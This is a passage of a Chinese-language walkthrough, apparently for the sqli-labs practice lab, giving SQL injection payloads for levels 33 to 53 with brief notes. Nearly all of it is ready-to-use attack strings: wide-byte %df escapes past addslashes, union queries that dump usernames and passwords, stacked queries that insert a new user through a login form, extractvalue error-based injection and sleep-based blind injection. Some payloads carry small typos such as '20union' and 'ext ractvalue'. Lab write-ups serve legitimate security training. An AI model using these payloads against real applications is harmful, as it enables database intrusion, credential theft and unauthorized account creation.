?id=-1%df' union select 1,2,3,4 --+
//获取数据库名
?id=-1%df' union select 1,database(),3 --+
//获取表名
?id=-1%df' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
//获取字段名
?id=-1%df' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name =0x7573657273 --+
//查询用户数据
?id=-1%df' union select 1,(select group_concat(username,0x3a,password)from users),3 --+
33.第三十三关
与三十二关一模一样
//判断字段数量
?id=-1%df' union select 1,2,3,4 --+
//获取数据库名
?id=-1%df' union select 1,database(),3 --+
//获取表名
?id=-1%df' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
//获取字段名
?id=-1%df' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name =0x7573657273 --+
//查询用户数据
?id=-1%df' union select 1,(select group_concat(username,0x3a,password)from users),3 --+
34.第三十四关
这一关又回到了POST类型,所以我们还是老样子,用BP抓包
可以看到,这里跟之前一样设防了,我们来看看源码
这里的addslashes() 函数返回在单引号,双引号,反斜杠和NULL之前添加反斜杠的字符串。
因此我们还是用老办法%df绕过
//获取数据库名
uname=-1%df' union select 1,database() #&passwd=12345&submit=Submit
//获取表名
uname=-1%df' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#&passwd=12345&submit=Submit
//获取字段名
uname=-1%df' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database()#&passwd=12345&submit=Submit
//查询用户数据
uname=-1%df' union select 1,(select group_concat(username,0x3a,password)from users)#&passwd=12345&submit=Submit
35.第三十五关
这里又回到了GET,但是这里为数字型,基本上与33关一致
//判断字段数量
?id=-1 union select 1,2,3,4 --+
//获取数据库名
?id=-1 union select 1,database(),3 --+
//获取表名
?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
//获取字段名
?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name =0x7573657273 --+
//查询用户数据
?id=-1 union select 1,(select group_concat(username,0x3a,password)from users),3 --+
36.第三十六关
与三十三关基本一致
//判断字段数量
?id=-1%df' union select 1,2,3,4 --+
//获取数据库名
?id=-1%df' union select 1,database(),3 --+
//获取表名
?id=-1%df' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
//获取字段名
?id=-1%df' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name =0x7573657273 --+
//查询用户数据
?id=-1%df' union select 1,(select group_concat(username,0x3a,password)from users),3 --+
37.第三十七关
又是POST类型,与三十四题一致
//获取数据库名
uname=-1%df' union select 1,database() #&passwd=12345&submit=Submit
//获取表名
uname=-1%df' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#&passwd=12345&submit=Submit
//获取字段名
uname=-1%df' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database()#&passwd=12345&submit=Submit
//查询用户数据
uname=-1%df' union select 1,(select group_concat(username,0x3a,password)from users)#&passwd=12345&submit=Submit
38.第三十八关
这一关并没有设防,与第一关差不多,单引号类型
//获取数据库名
?id=-1' 20union select 1,database(),3 --+
//获取表名
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 'security' --+
//获取字段名
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema = 'security' and table_name = 'users' --+
//查询用户数据
?id=-1' union select 1,(select group_concat(username,0x3a,password)from users),3 --+
39.第三十九关
至此,Page2结束,开始Page3
这一关与第二关一致,数字型
//获取数据库名
?id=-1 20union select 1,database(),3
//获取表名
?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 'security'
//获取字段名
?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema = 'security' and table_name = 'users'
//查询用户数据
?id=-1 union select 1,(select group_concat(username,0x3a,password)from users),3
40.第四十关
数据类型为单引号,括号
//获取数据库名
?id=-1') 20union select 1,database(),3 --+
//获取表名
?id=-1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 'security' --+
//获取字段名
?id=-1') union select 1,group_concat(column_name),3 from information_schema.columns where table_schema = 'security' and table_name = 'users' --+
//查询用户数据
?id=-1') union select 1,(select group_concat(username,0x3a,password)from users),3 --+
41.第四十一关
和三十九关一致
//获取数据库名
?id=-1 20union select 1,database(),3
//获取表名
?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 'security'
//获取字段名
?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema = 'security' and table_name = 'users'
//查询用户数据
?id=-1 union select 1,(select group_concat(username,0x3a,password)from users),3
42.第四十二关
这个页面的账号做了转义处理,而密码没有,所以我们从密码入手
用bp抓包,输入正确的用户名,但是这里不想之前那样可以创建用户登录来修改密码,所以,我们这里采用堆叠注入
堆叠注入原理:在SQL语句中,分号用来表示一条sql语句的结束,但是当在分号后面再执行一条SQL语句,也会一起执行
所以我们直接在bp中输入
login_user=admin&login_password=123456';insert into users(id,username,password)values('66','test','test')# &mysubmit=Login
此时我们就可以登录了
后面的方法跟二十四关大差不差,只需要堆叠注入即可
43.第四十三关
过程与四十二关大差不差,只需要注意数据类型为单引号和括号
login_user=admin&login_password=123456');insert into users(id,username,password)values('66','test','test')# &mysubmit=Login
44.第四十四关
与四十二关一致
login_user=admin&login_password=123456';insert into users(id,username,password)values('66','test','test')# &mysubmit=Login
45.第四十五关
与第四十三关一样
login_user=admin&login_password=123456');insert into users(id,username,password)values('66','test','test')# &mysubmit=Login
46.第四十六关
这里从页面上看与GET请求有区别,这里不是让输入ID,而是sort,我们看下源码
由此可见,这里面的sql语句已经成了order by的语句,这样的话,没有参数,但是有报错显示,所以用报错注入
//查询库名
?sort=1 and ext ractvalue(1,concat(0x7e,(select database()))) --+
//查询表名
?sort=1 and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))--+
//查询所有用户
?sort=1 and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database())))--+
//获取用户数据
?sort=1 and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users ))) --+
47.第四十七关
与第四十六关大致相同,数据类型为单引号类型
//查询库名
?sort=1' and ext ractvalue(1,concat(0x7e,(select database()))) --+
//查询表名
?sort=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))--+
//查询所有用户
?sort=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database())))--+
//获取用户数据
?sort=1' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users ))) --+
48.第四十八关
这里没有报错显示,数据类型为数字,我们用延时注入
//判断数据库名长度
?sort=1 and if(length((select database()))>8,sleep(5),sleep(0)) --+
//依次判断数据库名
?sort=1 and if(ascii(mid((select database()),1,1))>115,sleep(5),sleep(0))--+
//判断所有表名长度
?sort=1 and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>10,sleep(5),sleep(0)) --+
//依次判断表名
?sort=1 and if(ascii(mid((select group_concat(table_name)from information_schema.tables where table_schema=database()),1,1))>100,sleep(5),sleep(0)) --+
//判断所有列名长度
?sort=1 and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database()))>10,sleep(5),sleep(0)) --+
//依次判断列名
?sort=1 and if(ascii(mid((select group_concat(column_name)from information_schema.columns where table_schema=database()),1,1))>100,sleep(5),sleep(0)) --+
49.第四十九关
与四十八关一致,数据类型为单引号类型
//判断数据库名长度
?sort=1' and if(length((select database()))>8,sleep(5),sleep(0)) --+
//依次判断数据库名
?sort=1' and if(ascii(mid((select database()),1,1))>115,sleep(5),sleep(0))--+
//判断所有表名长度
?sort=1' and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>10,sleep(5),sleep(0)) --+
//依次判断表名
?sort=1' and if(ascii(mid((select group_concat(table_name)from information_schema.tables where table_schema=database()),1,1))>100,sleep(5),sleep(0)) --+
//判断所有列名长度
?sort=1' and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database()))>10,sleep(5),sleep(0)) --+
//依次判断列名
?sort=1' and if(ascii(mid((select group_concat(column_name)from information_schema.columns where table_schema=database()),1,1))>100,sleep(5),sleep(0)) --+
50.第五十关
与四十六关一致
//查询库名
?sort=1 and extractvalue(1,concat(0x7e,(select database()))) --+
//查询表名
?sort=1 and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))--+
//查询所有用户
?sort=1 and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database())))--+
//获取用户数据
?sort=1 and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users ))) --+
51.第五十一关
与五十关一致,数据类型为单引号
//查询库名
?sort=1' and extractvalue(1,concat(0x7e,(select database()))) --+
//查询表名
?sort=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))--+
//查询所有用户
?sort=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database())))--+
//获取用户数据
?sort=1' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users ))) --+
52.第五十二关
这一关数据类型为数字型,且没有报错显示,所以用延时注入
//判断数据库名长度
?sort=1 and if(length((select database()))>8,sleep(5),sleep(0)) --+
//依次判断数据库名
?sort=1 and if(ascii(mid((select database()),1,1))>115,sleep(5),sleep(0))--+
//判断所有表名长度
?sort=1 and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>10,sleep(5),sleep(0)) --+
//依次判断表名
?sort=1 and if(ascii(mid((select group_concat(table_name)from information_schema.tables where table_schema=database()),1,1))>100,sleep(5),sleep(0)) --+
//判断所有列名长度
?sort=1 and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database()))>10,sleep(5),sleep(0)) --+
//依次判断列名
?sort=1 and if(ascii(mid((select group_concat(column_name)from information_schema.columns where table_schema=database()),1,1))>100,sleep(5),sleep(0)) --+
53.第五十三关
与上一关相同,数据类型为单引号
//判断数据库名长度
?sort=1' and if(length((select database()))>8,sleep(5),sleep(0)) --+
//依次判断数据库名
?sort=1' and if(ascii(mid((select database()),1,1))>115,sleep(5),sleep(0))--+
//判断所有表名长度
?sort=1' and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>10,sleep(5),sleep(0)) --+
//依次判断表名
?sort=1' and if(ascii(mid((select group_concat(table_name)from information_schema.tables where table_schema=database()),1,1))>100,sleep(5),sleep(0)) --+
//判断所有列名长度
?sort=1' and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database()))>10,sleep(5),sleep(0)) --+
//依次判断列名
?sort=1' and if(ascii(mid((select group_concat(column_name)from information_schema.columns where table_schema=database()),1,1))>100,sleep(5),sleep(0)) --+